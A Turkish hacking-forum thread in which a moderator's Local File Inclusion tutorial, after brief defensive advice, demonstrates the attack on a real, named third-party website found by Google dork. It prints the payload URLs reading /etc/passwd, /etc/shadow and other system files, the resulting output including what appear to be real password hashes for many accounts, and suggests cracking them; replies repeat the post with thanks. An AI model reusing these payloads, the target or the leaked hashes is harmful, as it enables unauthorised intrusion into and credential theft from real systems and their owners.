Local File Inclusion Zaafiyeti Nedir? (Uygulamalı Anlatım)

akovskiniz

Moderatör
Katılım
7 Ocak 2016
Mesajlar
3,880
Çözümler
12
Tepkime puanı
258
Yaş
24
Konum
*.php
cxun73h.png


m6lbiaa.jpg


Selamlar sevgili TurkHackTeam üyeleri, bu konumda sizlere Local File Inclusion zaafiyetinden bahsedip, bu zaafiyeti kullanarak ne gibi verilere ulaşabileceğinizi anlatmaya çalışacağım.
bcvukdo.png

LFI yani Local File Inclusion bir web güvenlik açığıdır. Bu açık sayesinde sunucuda bulunan herhangi bir dosyayı okuyabilir, değiştirebilir veya çalıştırabiliriz. Bu açığın temel sebebi site yönetimi veya yöneticisi tarafından verilerin düzgünce filtrelenip doğrulanmaması ve herhangi bir dosyanın direkt olarak içeriye aktarılmasından (include, require gibi fonksiyonlar ile) kaynaklıdır.

Örnek bir LFI durumunu şu şekilde açıklayabiliriz;​
PHP:
<?php
    $page = $_GET['page'];
    include($page . '.php');
?>

Eğer ki sayfa yapısı bu şekilde ise URL yapısını manipüle ederek istediği sayfaya erişebilir. İletişim sayfasına gitmek istediğimizde URL şu şekilde olacaktır;​
Kod:
http://denemesite.com/index.php?page=iletisim

LFI Zaafiyetini Nasıl Önleriz?
1. Kullanıcı Girdisinin Doğrulanması
Kullanıcı tarafından girilen dosya isimleri mutlaka bir filtreye sokulmalıdır. Sadece izin verilen dosya isimlerine gidilebilmelidir.
Bunu gerçekleştirmek için şu şekilde bir kod yazılabilir;​
PHP:
$allowed_pages = ['anasayfa', 'hakkimizda', 'iletisim'];
if (in_array($_GET['page'], $allowed_pages)) {
    include($_GET['page'] . '.php');
} else {
    echo "Bu sayfayı görmek için yetkiniz yok!";
}

2. URL Temizleme
Girilen dosya isimlerindeki ../ veya .. gibi karakterleri engelleyebiliriz.

3. Gerçek Dosya Yolları
Dinamik olarak dosya eklemek yerine, dosya yollarını sabitleyebilir ve sadece belirli dosyaların kullanılmasını sağlayabiliriz.

4. Sunucu Yapılandırma
Sunucumuzdaki yerel dosya sistemine erişimini sınırlandırarak, önemli dosyalara erişim izinlerini kontrol edebiliriz.
PHP’de open_basedir ve disable_functions direktiflerini kullanarak, dosya dahil etme fonksiyonlarını sınırlandırabiliriz.
f7ld9o0.png

Peki gelelim asıl konuya, LFI zaafiyetini nasıl değerlendirebiliriz?
Bunun için öncelikli olarak Google'da ufak bir dork araması yapıyoruz, ben çok basit olması açısından index.php?page= şeklinde arattım.
Çıkan ilk sayfaya girip sırayla denemeye başladım.

1. /etc/passwd
Bu dizin sayesinde kullanıcıların bilgilerini görebilir ve bu bilgilerle bir Bruteforce saldırısı gerçekleştirebilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/passwd
Çıktı:
Kod:
root:x:0:0:root:/root:/bin/false ravagedband.com:x:53224:53224:ravagedband.com:/home/ravagedband.com:/bin/false

2. /etc/shadow
Bu dizin sayesinde kullanıcıların şifrelerinin hash halini görebilir ve bunları şifre kırıcılar yardımıyla kırdıktan sonra sisteme girebilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/shadow
Çıktı:
Kod:
ops:$1$LBFm$s2euEaNrozNuVen/fGVRj0:13064:0:99999:7::::support:$1$jRpm$d5WBSoc6c.jkAPBG5RFXc1:13064:0:99999:7::::toor:$1$Ux92$2dtHAOwocjlkhs/xwKRKz.:13064:0:99999:7::::helpdesk:$1$Df1y$5m3iZxLKnjX9MDAs3MljJ/:13064:0:99999:7::::admin:$1$mFOR$Slfj943C.MuQz9s3M8J6C0:13064:0:99999:7::::system:$1$Sszb$uFp7Kgkt06PVhdXCKn8y40:13064:0:99999:7::::cleanup:$1$oJ6t$VSzxsG6nuEr7wgWCLFsqD1:13064:0:99999:7::::recover:$1$6Z6K$Sc9OQ6TnY3FDYeqE.E8Aw0:13064:0:99999:7::::sup:$1$wW5e$BSR.XshymKTyuW1LsABpO1:13064:0:99999:7::::remote:$1$xYjc$eIqKNslONGB.ZBOEn3cyl0:13064:0:99999:7::::safe:$1$a+Tm$FCFvtO13n69N.Ee6gTZxm0:13064:0:99999:7::::noc:$1$WXSI$/NQjcNBJCiSjcHgJA1PAz1:13064:0:99999:7::::ssladmin:$1$s74D$QJJB1kVVnz09VXh.tp9640:13064:0:99999:7::::database:$1$iT3a$Z/QnO6u4S84KT2lImkpcW1:13064:0:99999:7::::onecom:$1$+2i9$HBk3s0VZ612q1nIJ/zTjI0:13064:0:99999:7::::staff:$1$egIQ$jZQZbOwSXbC3ivPL7wJ9n/:13064:0:99999:7::::guest:$1$W4Qw$gtYKhT6C4FAmqN.98IoLC0:13064:0:99999:7::::

3. /etc/hosts
Bu dizin sayesinde DNS atamaları yapılır, hangi IP hangi DNS'e yönlendirilirecekse bu dosyada belirtilir. Bu dosya üzerinde oynarak DNS Poisoning saldırısı yapabilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/hosts
Çıktı:
Kod:
127.0.0.1    localhost::1        localhost ip6-localhost ip6-loopbackff02::1        ip6-allnodesff02::2        ip6-allrouters

4. /etc/hostname
Bu dizin sayesinde sunucunun ana bilgisayarının adını öğrenebilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/hosts
Çıktı:
Kod:
onecom

5. /etc/resolv.conf
Bu dizin sayesinde sistem tarafından kullanılan DNS sunucuları tanımlanır.
URL: https://www.ravagedband.com/index.php?page=/etc/resolv.conf
Çıktı:
Kod:
domain cst.webpod10-cph3.one.comnameserver 10.41.62.5nameserver 10.41.62.4options rotate timeout:1

Denediğimiz sitede yalnızca bu verilere ulaşabiliyoruz.

Bunların dışında /etc/network/interfaces ile ağ yapılandırma ayarlarını, /etc/ssh/sshd_config ile SSH yapılandırmasını, /etc/fstab ile sistemdeki disk yapısını, /etc/crontab ile zamanlanmış görevleri, /etc/apt/sources.list ile paket yöneticisinin hangi yazılımları kullandığını, /etc/sudoers ile hangi kullanıcıların sudo komutunu kullanabildiğini görebilirsiniz.
euwl1gm.png

2mn6ri.jpeg
 
Son düzenleme:
cxun73h.png


m6lbiaa.jpg


Selamlar sevgili TurkHackTeam üyeleri, bu konumda sizlere Local File Inclusion zaafiyetinden bahsedip, bu zaafiyeti kullanarak ne gibi verilere ulaşabileceğinizi anlatmaya çalışacağım.
bcvukdo.png

LFI yani Local File Inclusion bir web güvenlik açığıdır. Bu açık sayesinde sunucuda bulunan herhangi bir dosyayı okuyabilir, değiştirebilir veya çalıştırabiliriz. Bu açığın temel sebebi site yönetimi veya yöneticisi tarafından verilerin düzgünce filtrelenip doğrulanmaması ve herhangi bir dosyanın direkt olarak içeriye aktarılmasından (include, require gibi fonksiyonlar ile) kaynaklıdır.

Örnek bir LFI durumunu şu şekilde açıklayabiliriz;​
PHP:
<?php
    $page = $_GET['page'];
    include($page . '.php');
?>

Eğer ki sayfa yapısı bu şekilde ise URL yapısını manipüle ederek istediği sayfaya erişebilir. İletişim sayfasına gitmek istediğimizde URL şu şekilde olacaktır;​
Kod:
http://denemesite.com/index.php?page=iletisim

LFI Zaafiyetini Nasıl Önleriz?
1. Kullanıcı Girdisinin Doğrulanması
Kullanıcı tarafından girilen dosya isimleri mutlaka bir filtreye sokulmalıdır. Sadece izin verilen dosya isimlerine gidilebilmelidir.
Bunu gerçekleştirmek için şu şekilde bir kod yazılabilir;​
PHP:
$allowed_pages = ['anasayfa', 'hakkimizda', 'iletisim'];
if (in_array($_GET['page'], $allowed_pages)) {
    include($_GET['page'] . '.php');
} else {
    echo "Bu sayfayı görmek için yetkiniz yok!";
}

2. URL Temizleme
Girilen dosya isimlerindeki ../ veya .. gibi karakterleri engelleyebiliriz.

3. Gerçek Dosya Yolları
Dinamik olarak dosya eklemek yerine, dosya yollarını sabitleyebilir ve sadece belirli dosyaların kullanılmasını sağlayabiliriz.

4. Sunucu Yapılandırma
Sunucumuzdaki yerel dosya sistemine erişimini sınırlandırarak, önemli dosyalara erişim izinlerini kontrol edebiliriz.
PHP’de open_basedir ve disable_functions direktiflerini kullanarak, dosya dahil etme fonksiyonlarını sınırlandırabiliriz.
f7ld9o0.png

Peki gelelim asıl konuya, LFI zaafiyetini nasıl değerlendirebiliriz?
Bunun için öncelikli olarak Google'da ufak bir dork araması yapıyoruz, ben çok basit olması açısından index.php?page= şeklinde arattım.
Çıkan ilk sayfaya girip sırayla denemeye başladım.

1. /etc/passwd
Bu dizin sayesinde kullanıcıların bilgilerini görebilir ve bu bilgilerle bir Bruteforce saldırısı gerçekleştirebilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/passwd
Çıktı:
Kod:
root:x:0:0:root:/root:/bin/false ravagedband.com:x:53224:53224:ravagedband.com:/home/ravagedband.com:/bin/false

2. /etc/shadow
Bu dizin sayesinde kullanıcıların şifrelerinin hash halini görebilir ve bunları şifre kırıcılar yardımıyla kırdıktan sonra sisteme girebilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/shadow
Çıktı:
Kod:
ops:$1$LBFm$s2euEaNrozNuVen/fGVRj0:13064:0:99999:7::::support:$1$jRpm$d5WBSoc6c.jkAPBG5RFXc1:13064:0:99999:7::::toor:$1$Ux92$2dtHAOwocjlkhs/xwKRKz.:13064:0:99999:7::::helpdesk:$1$Df1y$5m3iZxLKnjX9MDAs3MljJ/:13064:0:99999:7::::admin:$1$mFOR$Slfj943C.MuQz9s3M8J6C0:13064:0:99999:7::::system:$1$Sszb$uFp7Kgkt06PVhdXCKn8y40:13064:0:99999:7::::cleanup:$1$oJ6t$VSzxsG6nuEr7wgWCLFsqD1:13064:0:99999:7::::recover:$1$6Z6K$Sc9OQ6TnY3FDYeqE.E8Aw0:13064:0:99999:7::::sup:$1$wW5e$BSR.XshymKTyuW1LsABpO1:13064:0:99999:7::::remote:$1$xYjc$eIqKNslONGB.ZBOEn3cyl0:13064:0:99999:7::::safe:$1$a+Tm$FCFvtO13n69N.Ee6gTZxm0:13064:0:99999:7::::noc:$1$WXSI$/NQjcNBJCiSjcHgJA1PAz1:13064:0:99999:7::::ssladmin:$1$s74D$QJJB1kVVnz09VXh.tp9640:13064:0:99999:7::::database:$1$iT3a$Z/QnO6u4S84KT2lImkpcW1:13064:0:99999:7::::onecom:$1$+2i9$HBk3s0VZ612q1nIJ/zTjI0:13064:0:99999:7::::staff:$1$egIQ$jZQZbOwSXbC3ivPL7wJ9n/:13064:0:99999:7::::guest:$1$W4Qw$gtYKhT6C4FAmqN.98IoLC0:13064:0:99999:7::::

3. /etc/hosts
Bu dizin sayesinde DNS atamaları yapılır, hangi IP hangi DNS'e yönlendirilirecekse bu dosyada belirtilir. Bu dosya üzerinde oynarak DNS Poisoning saldırısı yapabilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/hosts
Çıktı:
Kod:
127.0.0.1    localhost::1        localhost ip6-localhost ip6-loopbackff02::1        ip6-allnodesff02::2        ip6-allrouters

4. /etc/hostname
Bu dizin sayesinde sunucunun ana bilgisayarının adını öğrenebilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/hosts
Çıktı:
Kod:
onecom

5. /etc/resolv.conf
Bu dizin sayesinde sistem tarafından kullanılan DNS sunucuları tanımlanır.
URL: https://www.ravagedband.com/index.php?page=/etc/resolv.conf
Çıktı:
Kod:
domain cst.webpod10-cph3.one.comnameserver 10.41.62.5nameserver 10.41.62.4options rotate timeout:1

Denediğimiz sitede yalnızca bu verilere ulaşabiliyoruz.

Bunların dışında /etc/network/interfaces ile ağ yapılandırma ayarlarını, /etc/ssh/sshd_config ile SSH yapılandırmasını, /etc/fstab ile sistemdeki disk yapısını, /etc/crontab ile zamanlanmış görevleri, /etc/apt/sources.list ile paket yöneticisinin hangi yazılımları kullandığını, /etc/sudoers ile hangi kullanıcıların sudo komutunu kullanabildiğini görebilirsiniz.
euwl1gm.png

2mn6ri.jpeg
Ellerinize sağlık hocam, detaylı bilgiler içeriyor anlatımınız da çok akıcı
 
cxun73h.png


m6lbiaa.jpg


Selamlar sevgili TurkHackTeam üyeleri, bu konumda sizlere Local File Inclusion zaafiyetinden bahsedip, bu zaafiyeti kullanarak ne gibi verilere ulaşabileceğinizi anlatmaya çalışacağım.
bcvukdo.png

LFI yani Local File Inclusion bir web güvenlik açığıdır. Bu açık sayesinde sunucuda bulunan herhangi bir dosyayı okuyabilir, değiştirebilir veya çalıştırabiliriz. Bu açığın temel sebebi site yönetimi veya yöneticisi tarafından verilerin düzgünce filtrelenip doğrulanmaması ve herhangi bir dosyanın direkt olarak içeriye aktarılmasından (include, require gibi fonksiyonlar ile) kaynaklıdır.

Örnek bir LFI durumunu şu şekilde açıklayabiliriz;​
PHP:
<?php
    $page = $_GET['page'];
    include($page . '.php');
?>

Eğer ki sayfa yapısı bu şekilde ise URL yapısını manipüle ederek istediği sayfaya erişebilir. İletişim sayfasına gitmek istediğimizde URL şu şekilde olacaktır;​
Kod:
http://denemesite.com/index.php?page=iletisim

LFI Zaafiyetini Nasıl Önleriz?
1. Kullanıcı Girdisinin Doğrulanması
Kullanıcı tarafından girilen dosya isimleri mutlaka bir filtreye sokulmalıdır. Sadece izin verilen dosya isimlerine gidilebilmelidir.
Bunu gerçekleştirmek için şu şekilde bir kod yazılabilir;​
PHP:
$allowed_pages = ['anasayfa', 'hakkimizda', 'iletisim'];
if (in_array($_GET['page'], $allowed_pages)) {
    include($_GET['page'] . '.php');
} else {
    echo "Bu sayfayı görmek için yetkiniz yok!";
}

2. URL Temizleme
Girilen dosya isimlerindeki ../ veya .. gibi karakterleri engelleyebiliriz.

3. Gerçek Dosya Yolları
Dinamik olarak dosya eklemek yerine, dosya yollarını sabitleyebilir ve sadece belirli dosyaların kullanılmasını sağlayabiliriz.

4. Sunucu Yapılandırma
Sunucumuzdaki yerel dosya sistemine erişimini sınırlandırarak, önemli dosyalara erişim izinlerini kontrol edebiliriz.
PHP’de open_basedir ve disable_functions direktiflerini kullanarak, dosya dahil etme fonksiyonlarını sınırlandırabiliriz.
f7ld9o0.png

Peki gelelim asıl konuya, LFI zaafiyetini nasıl değerlendirebiliriz?
Bunun için öncelikli olarak Google'da ufak bir dork araması yapıyoruz, ben çok basit olması açısından index.php?page= şeklinde arattım.
Çıkan ilk sayfaya girip sırayla denemeye başladım.

1. /etc/passwd
Bu dizin sayesinde kullanıcıların bilgilerini görebilir ve bu bilgilerle bir Bruteforce saldırısı gerçekleştirebilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/passwd
Çıktı:
Kod:
root:x:0:0:root:/root:/bin/false ravagedband.com:x:53224:53224:ravagedband.com:/home/ravagedband.com:/bin/false

2. /etc/shadow
Bu dizin sayesinde kullanıcıların şifrelerinin hash halini görebilir ve bunları şifre kırıcılar yardımıyla kırdıktan sonra sisteme girebilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/shadow
Çıktı:
Kod:
ops:$1$LBFm$s2euEaNrozNuVen/fGVRj0:13064:0:99999:7::::support:$1$jRpm$d5WBSoc6c.jkAPBG5RFXc1:13064:0:99999:7::::toor:$1$Ux92$2dtHAOwocjlkhs/xwKRKz.:13064:0:99999:7::::helpdesk:$1$Df1y$5m3iZxLKnjX9MDAs3MljJ/:13064:0:99999:7::::admin:$1$mFOR$Slfj943C.MuQz9s3M8J6C0:13064:0:99999:7::::system:$1$Sszb$uFp7Kgkt06PVhdXCKn8y40:13064:0:99999:7::::cleanup:$1$oJ6t$VSzxsG6nuEr7wgWCLFsqD1:13064:0:99999:7::::recover:$1$6Z6K$Sc9OQ6TnY3FDYeqE.E8Aw0:13064:0:99999:7::::sup:$1$wW5e$BSR.XshymKTyuW1LsABpO1:13064:0:99999:7::::remote:$1$xYjc$eIqKNslONGB.ZBOEn3cyl0:13064:0:99999:7::::safe:$1$a+Tm$FCFvtO13n69N.Ee6gTZxm0:13064:0:99999:7::::noc:$1$WXSI$/NQjcNBJCiSjcHgJA1PAz1:13064:0:99999:7::::ssladmin:$1$s74D$QJJB1kVVnz09VXh.tp9640:13064:0:99999:7::::database:$1$iT3a$Z/QnO6u4S84KT2lImkpcW1:13064:0:99999:7::::onecom:$1$+2i9$HBk3s0VZ612q1nIJ/zTjI0:13064:0:99999:7::::staff:$1$egIQ$jZQZbOwSXbC3ivPL7wJ9n/:13064:0:99999:7::::guest:$1$W4Qw$gtYKhT6C4FAmqN.98IoLC0:13064:0:99999:7::::

3. /etc/hosts
Bu dizin sayesinde DNS atamaları yapılır, hangi IP hangi DNS'e yönlendirilirecekse bu dosyada belirtilir. Bu dosya üzerinde oynarak DNS Poisoning saldırısı yapabilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/hosts
Çıktı:
Kod:
127.0.0.1    localhost::1        localhost ip6-localhost ip6-loopbackff02::1        ip6-allnodesff02::2        ip6-allrouters

4. /etc/hostname
Bu dizin sayesinde sunucunun ana bilgisayarının adını öğrenebilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/hosts
Çıktı:
Kod:
onecom

5. /etc/resolv.conf
Bu dizin sayesinde sistem tarafından kullanılan DNS sunucuları tanımlanır.
URL: https://www.ravagedband.com/index.php?page=/etc/resolv.conf
Çıktı:
Kod:
domain cst.webpod10-cph3.one.comnameserver 10.41.62.5nameserver 10.41.62.4options rotate timeout:1

Denediğimiz sitede yalnızca bu verilere ulaşabiliyoruz.

Bunların dışında /etc/network/interfaces ile ağ yapılandırma ayarlarını, /etc/ssh/sshd_config ile SSH yapılandırmasını, /etc/fstab ile sistemdeki disk yapısını, /etc/crontab ile zamanlanmış görevleri, /etc/apt/sources.list ile paket yöneticisinin hangi yazılımları kullandığını, /etc/sudoers ile hangi kullanıcıların sudo komutunu kullanabildiğini görebilirsiniz.
euwl1gm.png

2mn6ri.jpeg
eline saglik hocam
 
Eline sağlık güzel bir konuya değinmişsin
 
cxun73h.png


m6lbiaa.jpg


Selamlar sevgili TurkHackTeam üyeleri, bu konumda sizlere Local File Inclusion zaafiyetinden bahsedip, bu zaafiyeti kullanarak ne gibi verilere ulaşabileceğinizi anlatmaya çalışacağım.
bcvukdo.png

LFI yani Local File Inclusion bir web güvenlik açığıdır. Bu açık sayesinde sunucuda bulunan herhangi bir dosyayı okuyabilir, değiştirebilir veya çalıştırabiliriz. Bu açığın temel sebebi site yönetimi veya yöneticisi tarafından verilerin düzgünce filtrelenip doğrulanmaması ve herhangi bir dosyanın direkt olarak içeriye aktarılmasından (include, require gibi fonksiyonlar ile) kaynaklıdır.

Örnek bir LFI durumunu şu şekilde açıklayabiliriz;​
PHP:
<?php
    $page = $_GET['page'];
    include($page . '.php');
?>

Eğer ki sayfa yapısı bu şekilde ise URL yapısını manipüle ederek istediği sayfaya erişebilir. İletişim sayfasına gitmek istediğimizde URL şu şekilde olacaktır;​
Kod:
http://denemesite.com/index.php?page=iletisim

LFI Zaafiyetini Nasıl Önleriz?
1. Kullanıcı Girdisinin Doğrulanması
Kullanıcı tarafından girilen dosya isimleri mutlaka bir filtreye sokulmalıdır. Sadece izin verilen dosya isimlerine gidilebilmelidir.
Bunu gerçekleştirmek için şu şekilde bir kod yazılabilir;​
PHP:
$allowed_pages = ['anasayfa', 'hakkimizda', 'iletisim'];
if (in_array($_GET['page'], $allowed_pages)) {
    include($_GET['page'] . '.php');
} else {
    echo "Bu sayfayı görmek için yetkiniz yok!";
}

2. URL Temizleme
Girilen dosya isimlerindeki ../ veya .. gibi karakterleri engelleyebiliriz.

3. Gerçek Dosya Yolları
Dinamik olarak dosya eklemek yerine, dosya yollarını sabitleyebilir ve sadece belirli dosyaların kullanılmasını sağlayabiliriz.

4. Sunucu Yapılandırma
Sunucumuzdaki yerel dosya sistemine erişimini sınırlandırarak, önemli dosyalara erişim izinlerini kontrol edebiliriz.
PHP’de open_basedir ve disable_functions direktiflerini kullanarak, dosya dahil etme fonksiyonlarını sınırlandırabiliriz.
f7ld9o0.png

Peki gelelim asıl konuya, LFI zaafiyetini nasıl değerlendirebiliriz?
Bunun için öncelikli olarak Google'da ufak bir dork araması yapıyoruz, ben çok basit olması açısından index.php?page= şeklinde arattım.
Çıkan ilk sayfaya girip sırayla denemeye başladım.

1. /etc/passwd
Bu dizin sayesinde kullanıcıların bilgilerini görebilir ve bu bilgilerle bir Bruteforce saldırısı gerçekleştirebilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/passwd
Çıktı:
Kod:
root:x:0:0:root:/root:/bin/false ravagedband.com:x:53224:53224:ravagedband.com:/home/ravagedband.com:/bin/false

2. /etc/shadow
Bu dizin sayesinde kullanıcıların şifrelerinin hash halini görebilir ve bunları şifre kırıcılar yardımıyla kırdıktan sonra sisteme girebilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/shadow
Çıktı:
Kod:
ops:$1$LBFm$s2euEaNrozNuVen/fGVRj0:13064:0:99999:7::::support:$1$jRpm$d5WBSoc6c.jkAPBG5RFXc1:13064:0:99999:7::::toor:$1$Ux92$2dtHAOwocjlkhs/xwKRKz.:13064:0:99999:7::::helpdesk:$1$Df1y$5m3iZxLKnjX9MDAs3MljJ/:13064:0:99999:7::::admin:$1$mFOR$Slfj943C.MuQz9s3M8J6C0:13064:0:99999:7::::system:$1$Sszb$uFp7Kgkt06PVhdXCKn8y40:13064:0:99999:7::::cleanup:$1$oJ6t$VSzxsG6nuEr7wgWCLFsqD1:13064:0:99999:7::::recover:$1$6Z6K$Sc9OQ6TnY3FDYeqE.E8Aw0:13064:0:99999:7::::sup:$1$wW5e$BSR.XshymKTyuW1LsABpO1:13064:0:99999:7::::remote:$1$xYjc$eIqKNslONGB.ZBOEn3cyl0:13064:0:99999:7::::safe:$1$a+Tm$FCFvtO13n69N.Ee6gTZxm0:13064:0:99999:7::::noc:$1$WXSI$/NQjcNBJCiSjcHgJA1PAz1:13064:0:99999:7::::ssladmin:$1$s74D$QJJB1kVVnz09VXh.tp9640:13064:0:99999:7::::database:$1$iT3a$Z/QnO6u4S84KT2lImkpcW1:13064:0:99999:7::::onecom:$1$+2i9$HBk3s0VZ612q1nIJ/zTjI0:13064:0:99999:7::::staff:$1$egIQ$jZQZbOwSXbC3ivPL7wJ9n/:13064:0:99999:7::::guest:$1$W4Qw$gtYKhT6C4FAmqN.98IoLC0:13064:0:99999:7::::

3. /etc/hosts
Bu dizin sayesinde DNS atamaları yapılır, hangi IP hangi DNS'e yönlendirilirecekse bu dosyada belirtilir. Bu dosya üzerinde oynarak DNS Poisoning saldırısı yapabilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/hosts
Çıktı:
Kod:
127.0.0.1    localhost::1        localhost ip6-localhost ip6-loopbackff02::1        ip6-allnodesff02::2        ip6-allrouters

4. /etc/hostname
Bu dizin sayesinde sunucunun ana bilgisayarının adını öğrenebilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/hosts
Çıktı:
Kod:
onecom

5. /etc/resolv.conf
Bu dizin sayesinde sistem tarafından kullanılan DNS sunucuları tanımlanır.
URL: https://www.ravagedband.com/index.php?page=/etc/resolv.conf
Çıktı:
Kod:
domain cst.webpod10-cph3.one.comnameserver 10.41.62.5nameserver 10.41.62.4options rotate timeout:1

Denediğimiz sitede yalnızca bu verilere ulaşabiliyoruz.

Bunların dışında /etc/network/interfaces ile ağ yapılandırma ayarlarını, /etc/ssh/sshd_config ile SSH yapılandırmasını, /etc/fstab ile sistemdeki disk yapısını, /etc/crontab ile zamanlanmış görevleri, /etc/apt/sources.list ile paket yöneticisinin hangi yazılımları kullandığını, /etc/sudoers ile hangi kullanıcıların sudo komutunu kullanabildiğini görebilirsiniz.
euwl1gm.png

2mn6ri.jpeg
ellerine sağlık.
 
cxun73h.png


m6lbiaa.jpg


Selamlar sevgili TurkHackTeam üyeleri, bu konumda sizlere Local File Inclusion zaafiyetinden bahsedip, bu zaafiyeti kullanarak ne gibi verilere ulaşabileceğinizi anlatmaya çalışacağım.
bcvukdo.png

LFI yani Local File Inclusion bir web güvenlik açığıdır. Bu açık sayesinde sunucuda bulunan herhangi bir dosyayı okuyabilir, değiştirebilir veya çalıştırabiliriz. Bu açığın temel sebebi site yönetimi veya yöneticisi tarafından verilerin düzgünce filtrelenip doğrulanmaması ve herhangi bir dosyanın direkt olarak içeriye aktarılmasından (include, require gibi fonksiyonlar ile) kaynaklıdır.

Örnek bir LFI durumunu şu şekilde açıklayabiliriz;​
PHP:
<?php
    $page = $_GET['page'];
    include($page . '.php');
?>

Eğer ki sayfa yapısı bu şekilde ise URL yapısını manipüle ederek istediği sayfaya erişebilir. İletişim sayfasına gitmek istediğimizde URL şu şekilde olacaktır;​
Kod:
http://denemesite.com/index.php?page=iletisim

LFI Zaafiyetini Nasıl Önleriz?
1. Kullanıcı Girdisinin Doğrulanması
Kullanıcı tarafından girilen dosya isimleri mutlaka bir filtreye sokulmalıdır. Sadece izin verilen dosya isimlerine gidilebilmelidir.
Bunu gerçekleştirmek için şu şekilde bir kod yazılabilir;​
PHP:
$allowed_pages = ['anasayfa', 'hakkimizda', 'iletisim'];
if (in_array($_GET['page'], $allowed_pages)) {
    include($_GET['page'] . '.php');
} else {
    echo "Bu sayfayı görmek için yetkiniz yok!";
}

2. URL Temizleme
Girilen dosya isimlerindeki ../ veya .. gibi karakterleri engelleyebiliriz.

3. Gerçek Dosya Yolları
Dinamik olarak dosya eklemek yerine, dosya yollarını sabitleyebilir ve sadece belirli dosyaların kullanılmasını sağlayabiliriz.

4. Sunucu Yapılandırma
Sunucumuzdaki yerel dosya sistemine erişimini sınırlandırarak, önemli dosyalara erişim izinlerini kontrol edebiliriz.
PHP’de open_basedir ve disable_functions direktiflerini kullanarak, dosya dahil etme fonksiyonlarını sınırlandırabiliriz.
f7ld9o0.png

Peki gelelim asıl konuya, LFI zaafiyetini nasıl değerlendirebiliriz?
Bunun için öncelikli olarak Google'da ufak bir dork araması yapıyoruz, ben çok basit olması açısından index.php?page= şeklinde arattım.
Çıkan ilk sayfaya girip sırayla denemeye başladım.

1. /etc/passwd
Bu dizin sayesinde kullanıcıların bilgilerini görebilir ve bu bilgilerle bir Bruteforce saldırısı gerçekleştirebilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/passwd
Çıktı:
Kod:
root:x:0:0:root:/root:/bin/false ravagedband.com:x:53224:53224:ravagedband.com:/home/ravagedband.com:/bin/false

2. /etc/shadow
Bu dizin sayesinde kullanıcıların şifrelerinin hash halini görebilir ve bunları şifre kırıcılar yardımıyla kırdıktan sonra sisteme girebilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/shadow
Çıktı:
Kod:
ops:$1$LBFm$s2euEaNrozNuVen/fGVRj0:13064:0:99999:7::::support:$1$jRpm$d5WBSoc6c.jkAPBG5RFXc1:13064:0:99999:7::::toor:$1$Ux92$2dtHAOwocjlkhs/xwKRKz.:13064:0:99999:7::::helpdesk:$1$Df1y$5m3iZxLKnjX9MDAs3MljJ/:13064:0:99999:7::::admin:$1$mFOR$Slfj943C.MuQz9s3M8J6C0:13064:0:99999:7::::system:$1$Sszb$uFp7Kgkt06PVhdXCKn8y40:13064:0:99999:7::::cleanup:$1$oJ6t$VSzxsG6nuEr7wgWCLFsqD1:13064:0:99999:7::::recover:$1$6Z6K$Sc9OQ6TnY3FDYeqE.E8Aw0:13064:0:99999:7::::sup:$1$wW5e$BSR.XshymKTyuW1LsABpO1:13064:0:99999:7::::remote:$1$xYjc$eIqKNslONGB.ZBOEn3cyl0:13064:0:99999:7::::safe:$1$a+Tm$FCFvtO13n69N.Ee6gTZxm0:13064:0:99999:7::::noc:$1$WXSI$/NQjcNBJCiSjcHgJA1PAz1:13064:0:99999:7::::ssladmin:$1$s74D$QJJB1kVVnz09VXh.tp9640:13064:0:99999:7::::database:$1$iT3a$Z/QnO6u4S84KT2lImkpcW1:13064:0:99999:7::::onecom:$1$+2i9$HBk3s0VZ612q1nIJ/zTjI0:13064:0:99999:7::::staff:$1$egIQ$jZQZbOwSXbC3ivPL7wJ9n/:13064:0:99999:7::::guest:$1$W4Qw$gtYKhT6C4FAmqN.98IoLC0:13064:0:99999:7::::

3. /etc/hosts
Bu dizin sayesinde DNS atamaları yapılır, hangi IP hangi DNS'e yönlendirilirecekse bu dosyada belirtilir. Bu dosya üzerinde oynarak DNS Poisoning saldırısı yapabilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/hosts
Çıktı:
Kod:
127.0.0.1    localhost::1        localhost ip6-localhost ip6-loopbackff02::1        ip6-allnodesff02::2        ip6-allrouters

4. /etc/hostname
Bu dizin sayesinde sunucunun ana bilgisayarının adını öğrenebilirim.
URL: https://www.ravagedband.com/index.php?page=/etc/hosts
Çıktı:
Kod:
onecom

5. /etc/resolv.conf
Bu dizin sayesinde sistem tarafından kullanılan DNS sunucuları tanımlanır.
URL: https://www.ravagedband.com/index.php?page=/etc/resolv.conf
Çıktı:
Kod:
domain cst.webpod10-cph3.one.comnameserver 10.41.62.5nameserver 10.41.62.4options rotate timeout:1

Denediğimiz sitede yalnızca bu verilere ulaşabiliyoruz.

Bunların dışında /etc/network/interfaces ile ağ yapılandırma ayarlarını, /etc/ssh/sshd_config ile SSH yapılandırmasını, /etc/fstab ile sistemdeki disk yapısını, /etc/crontab ile zamanlanmış görevleri, /etc/apt/sources.list ile paket yöneticisinin hangi yazılımları kullandığını, /etc/sudoers ile hangi kullanıcıların sudo komutunu kullanabildiğini görebilirsiniz.
euwl1gm.png

2mn6ri.jpeg
güncel sistemlerin çoğu filtreleme kullanıyor fakat güzel konu eline emeğine sağlık.
 
Geri
Üst

